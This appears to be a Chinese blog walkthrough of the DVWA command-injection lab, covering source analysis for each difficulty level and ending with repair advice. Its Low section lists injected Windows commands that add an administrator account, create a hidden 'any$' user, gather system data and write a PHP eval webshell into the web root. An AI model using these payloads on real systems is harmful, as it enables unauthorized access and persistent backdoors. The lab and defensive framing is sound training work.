DVWA实战篇- Command Injection(命令注入)

DVWA实战篇- Command Injection

Command Injection(命令注入)

一.漏洞描述

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。用户通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

二.漏洞实战

Low

源码分析:

stristr函数查询实例中字符并输出直至结束

实例<?php echo stristr("Hello world!",o);?> 将会输出o world!

 

注入实操:

由源代码分析对用户输入无任何过滤,接下来就可以开启命令注入之旅吧

  1. 执行 127.0.0.1&net  user  查看系统用户

  1. 执行127.0.0.1 & net  user 123 123 /add 创建密码为123的用户(有时候看不到用户添加成功之类的提示就是添加成功,有时候会提示命令执行成功)

 

  1. 127.0.0.1 & net localgroup  administrators  123 /add 对123用户 提权

  1. 执行127.0.0.1 & net  user查验123用户是否添加成功

  1. 执行127.0.0.1 & net  user 123查看123用户提权是否成功

  1. 执行127.0.0.1 & systeminfo 查看计算机信息(版本,位数,补丁情况)

  1. 执行120.0.1 & ver 查看系统版本

  1. 执行127.0.0.1 & wmic product > c:/ins.txt 查看安装软件以及版本路径等信息,输出到c:/ins.txt  
  2. 执行127.0.0.1 & net user any$ 123456 /add 创建隐藏用户

执行127.0.0.1 & net user 不能查看到创建的any$用户

修改注册表权限,和any$的二进制类型

 

  1. 执行127.0.0.1 & chdir 查看当前路径
  2. 执行127.0.0.1 & copy nul c:\wamp\www\117213.php创建一句话木马文件
  3. 执行echo "<?php @eval($_POST[123]);?>" > "c:\wamp\www\117213.php"写入一句话木马

 

Medium

源码分析:

从源码分析发现过滤了&&和:注入方法避开过滤内容,和low级别相似

High

源码分析:

 

从源码分析发现过滤了内容如图,注入方法避开过滤内容,和low级别相似

 

Impossible

源码分析:

$target = stripslashes( $target );  //stripslashes()删除反斜杠

$octet = explode( ".", $target );   //explode() 函数把字符串打散为数组
// Check IF each octet is an integer  //检查数组中每个元素是否为整数
// If all 4 octets are int's put the IP back together.---如果都为整数,则将其重新组合为ip
分析源码知道只可以提交数字,做了较强的过滤和效验

三.修复建议

从架构和设计的角度来说:

①要用最小权限去运行程序,不要给予程序多余的权限,最好只允许在特定的路径下运行,可以通过明确的路径运行命令;

②尽可能使用库或框架:使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。尽可能地使用库调用,而不是调用外部进程来完成所需功能。

③减少被攻击面:对于那些被用于生成待执行命令的数据,尽可能避免其被外部可控的数据污染。

从实现的角度来说:

①虽然使用动态生成的查询字符串,代码或命令将控制和数据混合在一起是有风险的,但有时它可能是不可避免的。正确引用参数并转义这些参数中的任何特殊字符。最保守的方法是转义或过滤所有未通过极其严格的白名单的字符(例如不是字母数字或空格的所有内容)。如果仍然需要一些特殊字符,例如空格,则在转义/过滤步骤之后将每个参数包装在引号中;

②如果只允许运行有限的命令,使用白名单方式过滤。

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值